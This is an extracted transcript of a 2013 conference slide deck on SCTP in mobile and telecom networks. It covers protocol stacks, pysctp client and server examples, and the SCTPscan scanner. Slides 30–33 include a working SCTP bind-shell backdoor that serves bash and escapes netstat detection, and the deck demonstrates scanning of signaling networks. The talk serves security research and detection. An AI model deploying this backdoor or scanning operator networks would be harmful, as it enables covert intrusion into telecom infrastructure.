Opening'up'mobile'and'...

51
Opening up mobile and telecommunica1ons networks from walled garden to open and reviewed security 9th July 2013 PierreAOlivier Vauboin ([email protected]) Omar Awile ([email protected]) 1

Transcript of Opening'up'mobile'and'...

Page 1: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Opening'up'mobile'and'

telecommunica1ons'networks'from'walled'garden'to'open'and'reviewed'

security'

9th'July'2013'

'

PierreAOlivier'Vauboin'([email protected])'

Omar'Awile'([email protected])'1'

Page 2: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Introduc1on'

•  Telecom'world'is'more'complex'than'IP'world''

•  SCTP:'the'interface'between'the'2'worlds'

•  Going'up'the'telecom'stack'

2'

Page 3: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

A'typical'mobile'operator’s'network'

3'

Different'services'(and'their'different'versions!)'are'supported'by'a'number'of'different'

Hardware'(and'soTware)'network'elements'

Page 4: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'–'network'elements'

4'

6/28/13 telco.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco.html 1/1

HLRIMS

NodeBIN VLR

SEGMSC STP

RNC BTS

Femto Cell

SGSN

GGSN

MMSC

SMSC

MME

HSS

Charging Gateway GPRS

iDNS / eDNS

AUC FMS

AAA

Billing Gateway

EIR

MSC proxySeGW

Voicemail Web Access

IGW

Advanced Messaging Service

Ring Back Tone

Border Gateway

Intelligent Packet Core Node

PDN GW

Next Generation Mobile Edge

OLT

ONT/ONU

OSS Gateway

Online Charging System

Open Messaging Gateway

ATS

NASS

NGW

SHLR

SPGWs

DSM SPY

STG/FNR

Site Alarms Management System

Softswitch

Subscriber Activation Gateway

TGW

TRX

TSC

UGC

User Mobility Server

Vendor Network Probe

Voice DataSwitch

International Gateway Routers

6/28/13 ip.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip.html 1/1

webBGP Router

mailSwitch

DNS ServerGPON

Firewall

DHCP ServerVPN Endpoint

BRASIP-­DSLAM

ProxyWireless APLoad Balancer

Backbone RouterDSL modem

PABX

MPLS router

Page 5: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

5'

Telecom'network'elements'

Mobile'Switching'Center'(MSC)'AllAinAOne'LTE'network'element'

HSS'+'MME'+'PAGW'+'PCRF'

Page 6: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

6'

6/28/13 telco_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco_proto.html 1/1

SCTPSS7MAP

SIGTRAN

M3UA SIP

ISUP

Diameter

SCCPGTP-­U

VOIP

GPRS

GRX

TCAP

H248WAP OMAP

M2PA

M2UA

MTP3

SUA

V5UA

INAP

BICC

GTP-­C

GTP’CAMELBSSAP

RANAP

H323

Skinny

GAN / UMA

MGCP

MEGACO

S1AP

X2AP

TUP

RadiusIUA

IP'vs.'Telecom'network'–'protocols'

7/5/13 ip_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip_proto.html 1/1

httpippsnmp

netbios

ntpms sqlms rpc

telnet

dhcp

dns

https

ftpssh

route

smtp

upnp

tftp

voippop3

mysql

nfs

sip

radius

imap

Page 7: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'A'protocols'

7'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SIGTRAN'Mobile'Applica1on'Protocol'stack'

Page 8: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'A'protocols'

8'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SS7/SIGTRAN'core'network'Protocol'stack'

Page 9: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'A'protocols'

9'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

Page 10: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'A'addressing'

10'

MAC'address'

IP'address'

(IPv4'/'IPv6)'

TCP'(UDP,'SCTP)'port'

Any'device'on'the'internet'(in'an'IP'network)'is'iden1fied'by'its'MAC'and'IP'addresses.'

TCP,'UDP'(and'SCTP)'offer'ports'as'a'means'to'address'applica1ons'within'one'host.'

Rou1ng'criteria:'''IP'

Page 11: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

IP'vs.'Telecom'network'A'addressing'

11'

Point'code'(PC)'

14'(or'16,'24)'bit'

segmented'addressing'

Global'1tle'(GT)'

Variable'number'of'digits.'

Equivalent'to'hostnames'in'IP'

SubSystem'Number'(SSN)'

Used'by'applica1on'layer'protocols'

(e.g.'MAP)'to'iden1fy'applica1on'on'

network'elements'

In'Telecom'networks'a'mul1tude'of'addressing'schemes'are'used'to'

Iden1fy'network'elements,'subscribers,'applica1ons'

Interna1onal'mobile'

subscriber'iden1ty'(IMSI)'

Unique'mobile'handset'

iden1fier'

SS7'Rou1ng'criteria:'''PC'/'GT'/'SSN'or'combo'

Page 12: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'–'Stream'Control'Transmission'

Protocol'

12'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 13: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'–'Stream'Control'Transmission'

Protocol'

13'

•  Some'applica1ons'can'dispense'with'strict'sequence'maintenance'!'TCP'

headAofAline'blocking'causes'unnecessary'delay.'

•  TCP'is'stream'oriented'!'applica1ons'must'add'their'own'record'marking'and'

make'use'of'the'PSH'bit'for'reasonable'msg'delivery'1mes!'

•  TCP'does'not'provide'support'for'mul1Ahomed'hosts'

•  TCP'is'suscep1ble'to'DoS'ajacks'(e.g.'SYN'ajacks)'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 14: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

14'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 15: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

15'

•  Reliable'data'transfer'

•  Data'fragmenta1on'

•  Sequenced'delivery'within'mul1ple'streams'

•  Op1onal'orderAofAarrival'delivery'

•  FaultAtolerance'through'mul1Ahoming'support'

•  Resistance'to'flooding'and'masquerading'ajacks'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 16: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

16'

SCTP'–'Stream'Control'Transmission'

Protocol'

0 7 8 15 16 23 24 31

Source'port' Des1na1on'port'

Verifica1on'tag'

checksum'

Chunk'1'type' Chunk'1'flags' Chunk'1'length'

Chunk'1'data'

…'

Chunk'N'type' Chunk'N'flags' Chunk'N'length'

Chunk'N'data'

Packet header�

Page 17: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'–'the'interface'between'IP'and'SS7'

17'

•  All'Network'Elements'on'the'Telecom'Core'Network'are'

interconnected'together'using'SCTP'

'

•  The'Core'Network'should'be'segmented'from'the'outside...'but'SCTP'ports'can'be'listening'on'Internet'as'well.'

'

•  SCTP'port'open'serves'as'an'entry'point'to'the'SS7'network.'

'

•  SCTP'is'also'used'on'next'genera1on'networks'such'as'4G'/'LTE'

•  SCTP'support'implemented'in'Linux'kernel'

Page 18: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

18'

Client! Server!socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 19: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

19'

Client! Server!

INIT'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 20: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

20'

Client! Server!

INIT'

INITAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 21: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

21'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 22: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

22'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 23: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake'

23'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

DATA'

Page 24: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'4'Way'Handshake:'Network'Trace'

24'

Page 25: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

pysctp'

25'

A'python'library'for'SCTP'socket'programming'

•  Python'bindings'to'lowAlevel'C'SCTP'sockets'

•  Extends'the'tradi1onal'socket'interface'

•  Allows'SCTP'to'be'used'instead'of'TCP'or'UDP'

•  Allows'simple'scrip1ng'and'prototyping'of'SCTP'

client'/'server'applica1ons'

hjps://github.com/philpraxis/pysctp/'

+'SCTP ='•  ease'of'use'•  versa1lity'•  freedom'to'

experiment'

Page 26: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Example:'An'm3ua'server'in'pysctp'

26'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2905)) soc.listen(5) ear, (ip, port) = soc.accept() buf = ear.recv(1024) print("* received: %s" % binascii.hexlify(buf)) print("* sending M3UA ASPUP ACK”) ear.send(binascii.unhexlify('0100030400000008')) ear.close() soc.close()

Page 27: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Example:'An'm3ua'client'in'pysctp'

27'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2906)) soc.connect(('127.0.0.1', 2905)) print("* sending M3UA ASPUP”) soc.send(binascii.unhexlify('0100030100000008')) buf = soc.recv(1024) print("* received: %s" % binascii.hexlify(buf)) soc.close()

Page 28: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Running'the'example'

28'

$ python m3ua_server.py

* received: 0100030100000008

* sending M3UA ASPUP ACK

$ python m3ua_client.py

* sending M3UA ASPUP

* received: 0100030400000008

$ tshark -ni lo sctp

Capturing on 'Loopback'

0.000000 SCTP 82 INIT

0.000048 SCTP 306 INIT_ACK

0.000065 SCTP 278 COOKIE_ECHO

0.000113 SCTP 50 COOKIE_ACK

0.000202 M3UA (RFC 3332) 70 ASPUP

0.000218 SCTP 62 SACK

0.000302 M3UA (RFC 3332) 70 ASPUP_ACK

0.000324 SCTP 62 SACK

0.000349 SCTP 54 SHUTDOWN

0.000357 SCTP 50 SHUTDOWN_ACK

0.000365 SCTP 50 SHUTDOWN_COMPLETE

SCTP'connec1on'

establishment'

SCTP'connec1on'

shutdown'

Page 29: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

m3ua'client'/'server:'network'trace'

29'

Page 30: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

More'fun'with'SCTP':)'

30'

import sctp import socket import subprocess soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind((‘0.0.0.0', 56789)) soc.listen(5) while True: print('* waiting for client connections’) ear, (ip, port) = soc.accept() print('* connection from %s:%s' % (ip, port)) p = subprocess.call(['/bin/bash'], stdin=ear, stdout=ear, stderr=ear) print('* client %s:%s disconnected' % (ip, port))

Page 31: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

31'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

Page 32: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

32'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

What’s going on???�

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 33: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

33'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ cat /proc/net/sctp/eps

ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS

0 0 2 10 21 56789 1000 49217162 0.0.0.0

$ cat /proc/net/sctp/assocs

ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS [...]

0 0 2 1 3 30699 1494 0 0 1000 2384055 56789 34719 127.0.0.1 <-> *127.0.0.1 [...]

0 0 2 1 3 42111 1493 0 0 1000 2292730 34719 56789 127.0.0.1 <-> *127.0.0.1 [...]

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

netstat does not support SCTP. (Ubuntu 12.04 LTS, seen only

some patch in RedHat)�

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 34: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTPscan'

34'

An'SCTPAbased'network'scanner''

(for'signaling'networks'and'more!)'

hjps://github.com/philpraxis/sctpscan/tree/sctpscan_ng'

•  Reliable'scanning'of'SCTPAenabled'hosts'

•  PortAscanning'for'most'popular'ports''

(with'focus'on'signaling'equipment)'

•  IP'rangeAscanning'

•  Fast'scanning'through'synchronous'I/O'mul1plexing'

•  Port'mirroring'for'improved'service'discovery'

Page 35: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

35'

Client! Server!

Case'1'

Case'2'

Case'3'

Page 36: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

36'

Client! Server!

INIT'

Case'1'

Case'2'

Case'3'

Page 37: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

37'

Client! Server!

INIT'

INITAACK'Port'Open'Case'1'

Case'2'

Case'3'

Page 38: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

38'

Client! Server!

INIT'

INITAACK'

INIT'

Port'Open'Case'1'

Case'2'

Case'3'

Page 39: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

39'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Case'1'

Case'2'

Case'3'

Page 40: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

40'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

INIT'

Case'1'

Case'2'

Case'3'

Page 41: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTP'Port'Scanning'

41'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Port'Filtered'

INIT'

Case'1'

Case'2'

Case'3'

no'reply…'

Page 42: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SCTPscan'in'ac1on'

42'

$ sudo ./sctpscan.py 192.168.56.101

Scanning 192.168.56.101

SCTP Port Open: 192.168.56.101 2906

Results: 1 opened, 109 closed, 1 filtered

$

Page 43: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Going'up'the'telecom'stack:'MAP'

43'

Dst$SSN$

Dst$GT$

Target$MSISDN$

Src$/$Dst$IPs$Src$/$Dst$SCTP$Ports$

Page 44: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

44'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 45: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

45'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 46: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Bad'usage'of'SCTP'for'new'protocols'

46'

•  SCTP'for'LTE:'Diameter,'S1,'X2,'…'

•  Assuming'security'is'handled'by'IPsec'is'bad$

•  No'authen1ca1on'in'protocol'!'no'security'by'default'

•  IPsec'is'not'necessarily'deployed'

Example:'Diameter'vs'Radius'

Page 47: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

47'

Telecom'network'architecture'

Page 48: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

48'

GT'

SSN'

Passive'network'analysis'

Page 49: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

49'

GT'

SSN'

Ac1ve'network'scanning'

Page 50: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

50'

Conclusions'•  Telecom'networks'are'powered'by'a'wide'range'of'

technologies'and'protocols.'

•  SCTP'is'used'ubiquitously'in'telecom'networks'as'the'interface'

between'IP'and'telecom'technologies.'

•  pysctp'offers'an'easy'API'for'SCTP'socket'programming'giving'

simple'access'into'telecom'protocol'stacks.'

•  SCTPscan(Ang)'offers'ac1ve'scanning'and'service'detec1on'for'hosts'on'telecom'networks'

•  HLR'is'the'central'element'of'a'mobile'operator’s'network'

•  SGSN'pose'a'risk'being'a'single'pointAofAfailure'•  MSC'are'more'distributed'but'carry'the'bulk'of'signaling'

Page 51: Opening'up'mobile'and' telecommunica1ons'networks…labs.p1sec.com/wp-content/uploads/2013/07/Opening_up_telco... · Opening'up'mobile'and' telecommunica1ons'networks' ... RANAP H323

Thank'you!'

Thanks'go'to:'

Philippe'Langlois'

Elvis'Pfützenreuter'

and'the'P1'Security'team''

Ques1ons'to:'

[email protected]'

[email protected]''

[email protected]'